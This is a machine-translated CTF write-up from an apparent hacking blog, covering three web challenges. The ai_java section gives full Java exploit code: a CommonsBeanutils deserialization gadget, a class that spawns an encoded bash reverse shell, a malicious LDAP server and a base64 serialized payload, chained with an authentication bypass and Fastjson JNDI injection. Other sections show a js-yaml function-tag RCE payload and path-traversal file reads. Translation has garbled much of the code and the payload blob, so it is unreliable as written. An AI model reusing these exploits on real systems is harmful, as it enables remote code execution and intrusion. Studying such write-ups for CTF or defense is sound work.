Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86370141

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

web

ai_java

最初に添付ファイルアカウントを介してアカウント番号を取得するimage.png image.png

Base64またはJSFuckを介してJSとCのプロンプトを取得できます。 JSを監査すると、C機能を確認して実行できます。 GitHubプロジェクトアドレスimage.pngを入手してください

送信履歴を見つけるソースコードimage.pngを見つけました

監査ソースコードは、承認なしにspring – bootが存在する可能性があることを発見しましたimage.png

FastJsonの解析は、管理者のページimage.pngの下にある/post_message/interfaceに存在します

image.png

特定のバージョンを確認して、LADPを直接攻撃することは不可能であることがわかります。依存関係を確認してください

ディスカバリーはシロを紹介しました。 SerializedData + LDAP攻撃を使用します。シェルを跳ね返すための依存性CB

パブリッククラスCB {

public static void setFieldValue(オブジェクトOBJ、文字列フィールド名、オブジェクト

t値)スロー例外{

フィールドフィールド=obj.getClass()。getDeclaredField(FieldName);

field.setAccessible(true);

field.set(obj、value);

}

public static Comparator GetValue(オブジェクトインスタンス)がNosuchfielを投げます

DEXCEPTION、ILLEGALACCESSEXCEPTION {

クラス? clazz=instance.getClass();

//プライベート変数のフィールドオブジェクトを取得します

Field Privatefield=clazz.getDeclaredfield( 'instance');

//プライベート変数のアクセス権限を設定します

privatefield.setAccessible(true);

//プライベート変数の値を取得します

オブジェクト値=privatefield.get(instance);

return(Comparator)Value;

}

public static byte [] getPayload()スロー例外{

classpool pool=classpool.getDefault();

ctclass clazz=pool.get(veol.class.getname());

byte [] code=clazz.tobytecode();

templatesimpl obj=new TemplatesImpl();

setFieldValue(obj、 '_bytecodes'、new byte [] [] {code});

SetFieldValue(obj、 '_name'、 'tvt');

setFieldValue(obj、 '_tfactory'、new TransformerFactoryImpl());

最終的なbeancomparator Comparator=new BeanComparator(null、getva

lue(new Headers()));

キューキュー=新しい優先度(2、コンパレータ);

queue.add( '1');

queue.add( '1');

SetFieldValue(Comparator、 'Property'、 'outputProperties');

setFieldValue(queue、 'queue'、new Object [] {obj、obj});

bytearrayoutputStream barr=new bytearrayoutputStream();

ObjectOutputStream OOS=new objectOutputStream(barr);

oos.writeobject(queue);

oos.close();

byte [] bytearray=barr.tobytearray();

string base64EncodedData=base64.getEncoder()。encodetostring(by

Tearray);

System.out.println(base64encodedData);

bytearrayを返します。

}

}

パブリッククラスの悪は抽象的なトランスレットを拡張します{

public void transform(dom var1、serializationhandler [] var2)スロー

transletexception {

}

public void transform(dom var1、dtmaxisiterator var2、serializationh

Andler var3)transletexceptionをスローする{

}

public static void main(string [] args)スロー例外{

runtime.getRuntime()。exec( 'bash -c {echo、5l2g5ooz6lwj5lua5lmi44cc5yaz6ieq5bex555qe5zg95luk} | {base64、-d} | {bash、-i}');

}

Public Evil()Throws Exception {

runtime.getRuntime()。exec( 'bash -c {echo、5l2g5ooz6lwj5lua5lmi44cc5yaz6ieq5bex555qe5zg95luk} | {base64、-d} | {bash、-i}');

}

}

パブリッククラスldapserialserver {

private static final string ldap_base='dc=example、dc=com';

public static void main(string [] tmp_args){

string [] args=new String [] {'http://127.0.0.1:8000/#邪悪なクラス'};

int port=7777;

試す {

InmeMoryDirectoryServerConfig config=new InmeMoryDirectory

serverconfig(ldap_base);

config.setlistenerconfigs(new inmemorylistenerconfig(

「聞く」、//$ non-nls-1 $

inetaddress.getByname( '0.0.0.0')、//$ non-nls-1 $

ポート、

ServersocketFactory.getDefault()、

socketfactory.getDefault()、

(sslsocketfactory)sslsocketfactory.getDefault()));

config.addinmemoryOperationInterceptor(new OperionsIntercep

tor(new URL(args [0])));

InmemoryDirectoryServer DS=new InmemoryDirectoryServer(con

イチジク);

System.out.println( '0.0.0.03360' +ポートで聞く); //$ non-n

LS-1 $

ds.startlistening();

}

catch(例外e){

e.printstacktrace();

}

}

Private Static Class OperationEnterceptorは、Inmemoryoperationiを拡張します

nterceptor {

プライベートURLコードベース。

Pulily OperysInterceptor(URL CB){

this.codebase=cb;

}

@オーバーライド

public void processSearchResult(inmemoryInterceptedSearchResul

結果の結果){

string base=result.getRequest()。getBasedN();

エントリe=new entry(base);

試す {

sendResult(result、base、e);

}

catch(例外E1){

e1.printstacktrace();

}

}

保護されたvoid sendResult(inmemoryinterceptedsearchResult resu

LT、文字列ベース、エントリe)例外をスローする{

system.out.println( '' + base +のLDAP参照結果を送信します

「CBガジェットを返します」);

e.Addattribute( 'Javaclassname'、 'Deserpayload'); //$ non-nls-

1 $

string base64EncodedData='ro0abxnyabdqyxzhlnv0awwuhjpb3jp

dhlrdwv1zztamlt7p4kxawacsqaec2l6zuwacmnvbxbhcmf0b3j0abzmamf2ys91dglsl0n

vbxbhcmf0b3i7ehaaaaacc3iak29yzy5hcgfjaguuy29tbw9ucy5izwfudxrpbhmuqmvhbk

nvbxbhcmf0b3ljoyjqcykksaiaakwacmnvbxbhcmf0b3jxah4aauwachbyb3blcnr5daast

GPHDMEVBGFUZY9TDHJPBMC7EHBZCGA/Y29TLNN1BI54BWWUAW50ZXJUYWWUD3MUDHJHBNNW

b3j0lkhlywrlcnmksw5zzw5zaxrpdmvdb21wyxjhdg9yyieexdpxa/ecaab4chqaeg91dhb

1dfbyb3blcnrpzxn3baaaaanzcga6y29tlnn1bi5vcmcuyxbhy2hllnhhbgfulmludgvybm

fslnhzbhrjlnryyxguvgvtcgxhdgvzsw1wbalxt8furkszawagsqanx2luzgvude51bwjlc

KKADL90CMFUC2XLDELUZGV4WWAKX2J5DGVJBJB2RLC3QAA1TBQLSABL9JBGFZC3QAELTMAMF2

ys9syw5nl0nsyxnzo0wabv9uyw1lcqb+aarmabffb3v0chv0uhjvcgvydgllc3qafkxqyxz

hl3v0awwvuhjvcgvydgllczt4caaaad /////dxiaa1tbqkv9grvnz9s3agaaeaaabdx

iaaltcrpmx+ayivoacaab4caaabink/rq+aaaana1cgaiacmiacqkaciajqoajgancgaha

CGHACKHACOBAAL0CMFUC2ZVCM0BAHIOTGNVBS9ZDW4VB3JNL2FWYWNOZS94YWXHBI9PBNRL

CM5HBC94C2X0Y9ET007W0XJB20VC3VUL29YZY9HCGFJAGUVEG1SL2LUDGVYBMFSL3NLCML

hbgl6zxivu2vyawfsaxphdglvbkhbmrszxi7kvybaardb2rlaqaptgluzu51bwjlclrhym

xlaqastg9jywxwyxjpywjszvrhymxlaqaedghpcweabkxldmlsoweabhzhcjebac1my29tl

3N1BI9VCMCVYXBHY2HLL3HBGFUL2LUDGVYBMFSL3HZBHRJL0RPTTSBAAR2YXIYAQBCW0XJ

B20VC3VUL29YZY9HCGFJAGUVEG1SL2LUDGVYBMFSL3NLCMMLHBGL6ZIVU2VYAWFSAXPHDGL

vbkhbmrszxi7aqakrxhjzxb0aw9ucwcakweapihmy29tl3n1bi9vcmcvyxbhy2hll3hhbg

ful2ludgvybmfsl3hzbhrjl0rptttmy29tl3n1bi9vcmcvyxbhy2hll3htbc9pbnrlcm5hb

C9KDG0VRFRNQXHPC0L0ZXJHDG9YO0XJB20VC3VUL9HCGFJAGUVEG1SL2LUDGVYBMFSL3NLC

mlhbgl6zxivu2vyawfsaxphdglvbkhbmrszxi7kvybadvmy29tl3n1bi9vcmcvyxbhy2hl

L3HTBC9PBNRLCM5HBC9KDG0VRFRNQXHPC0L0ZXJHDG9YOWEABHZHCJMBAEFMY29TL3N1BI9

vcmcvyxbhy2hll3htbc9pbnrlcm5hbc9zzxjpywxpemvyl1nlcmmlhbgl6yxrpb25iyw5kbg

vyoweabg1haw4babyow0xqyxzhl2xhbmcvu3ryaw5noylwaqaeyxjncweae1tmamf2ys9sy

w5nl1n0cmluzzshacwbaay8ay8aw5pdd4baamokvaypaptb3vyy2vgawxlaqajzxzzpbc5qyxzh

bwatdaauac8bagfiyxnoic1jihtly2hvlfltrnphq0f0yvnbk0ppowtawfl2zedod0x6utn

makv4txk0ee9ua3vnvfe0thpnne9ez2dnrdrttve9px18e2jhc2u2ncwtzh18e2jhc2gslw

l9daawadehadimadmanawahgafazxzzpbaeaqgnvbs9zdw4v3jnl2fwywnozs94ywxhb

i9pbnrlcm5hbc94c2x0y9ydw50aw1ll0fic3ryywn0vhjhbnnszxqbadljb20vc3vul29y

zy9hcgfjaguvegfsyw4vaw50zxjuywwvehhnsdgmvhjhbnnszxrfegnlchrpb24babnqyxz

hl2xhbmcvrxhjzxb0aw9uaqaramf2ys9syw5nl1j1bnrpbwubaapnzxrsdw50aw1laqavkc

lmamf2ys9syw5nl1j1bnrpbwu7aqaezxhlyweajyhmamf2ys9syw5nl1n0cmluzzsptgphd

mevbgfuzy9qcm9jzxnzoweaa0ndngeacmdldfhewxvywqbaaqokvtcaceabgahaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

AAEACAAJAAIACgAAAD8AAAAAAAAAAAAAAAAAAAGAAEAAAAALAAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0

adgaaaaaaaaqapabaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaCgaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

AAAbEAAAACAAsAAAAGAAEAAAAAAOAAWAAAAQAAQAAAABAA0ADgAAAAAAAAAQAPABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE

QAWAAIAAAABABcAGAADABMAAAAEAFAAJABkAGgACAAoAAABAAAIAQAAAA64AAESArYA

A1E4AARXSQAAAAIAACWAAAA4AAWAABEACQASAA0AEWAMAAABAAADGABABWAAAAAAAA

abaabab0aaqaeab8aagakaaaaaaaaaaaaaaaaaaaaokrcabbgaarictgadv7eaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

maaaauaaqafqanabyadaaaaawaaqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaqaaqaadayaaaaaaaaaaaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaqaada

An0dnrwdweaeheafganea==';

e.Addattribute( 'JavaserializedData'、base64.getDecoder()。12月

ode(base64encodedData));

result.sendsearchentry(e);

result.setResult(new ldapresult(0、resultCode.success));

}

}

}

CBを使用してBase64をエンコードし、直接呼び出さないでください。 JARパッケージの場合、内部APIエラーを防ぎます。ローカルでは、CVE-2022-22978を使用してアイデンティティ認証をバイパスし、FastJSONのキャッシュバイパスを使用し、JNDIインジェクションを実装します

開始。image.png image.png image.png

信号

まず、この質問は、他のファイル形式をyaml形式に変換し、yaml.load()がJSオブジェクトとしてロードされるためです。 GithubでJS-Yamlドキュメントの説明を見つけ、オブジェクトを解析する方法、公式Webサイトにも例を挙げてください。ここでは、それが何を解析できるかを直接調べます。image.png

発見可能な分析方法image.png

JS-YAMLバージョンは3.14.1ですが、新しいバージョンの提出と比較して

https://github.com/nodeca/js-yaml/commit/ee74ce4b4800282b2f23b776be7dc95dfe34db1c

これは、デフォルトの危険モードの最後のバージョンであり、タグを使用して任意のJS関数を構築できます。 js/function image.png

次に、テンプレートレンダリング場所で、オブジェクトのトストリング方法が自動的に呼び出されます

したがって、次のペイロードとしてファイルyamlファイルコンテンツをアップロードするだけです

'name' : {toString: js /function 'function(){flag=mainmodule.require(' child_process ')。execsync(' cat /fla*')。tostring();フラグを返します;} '}

swagger docs

1。インターフェイスドキュメントを読んで、ウェブサイト機能を把握する

2.ユーザーを登録します

http://47.108.206.43:40476/API-Base/V0/Register

{'username':'admin'、 'password':'admin'}

3。ログインします

http://47.108.206.43:40476/api-base/v0/login

{'username':'admin'、 'password':'admin'}

4.任意のファイルを読み取ります

テストでは、ファイルの読み取りが/api-base/v0/searchインターフェイスに存在することがわかりました

プロセスを読んでください

http://47.108.206.43:40476/api-base/v0/search?file=./././././proc/1/cmdlineType=テキスト

ソースコードの場所を読んでください

http://47.108.206.43:40476/api-base/v0/search?file=././././app/run.shtype=text

ソースコードを読んでください

5。コード監査

image.png

/api-base/v0/searchにはrender_template_string()があることがわかりました。これにより、STIがRCEを引き起こす可能性があり、レンダリングコンテンツのみを制御する必要があります。

UAPATE()関数にはプロトタイプチェーンに似た汚染があり、環境を変更するために使用できます。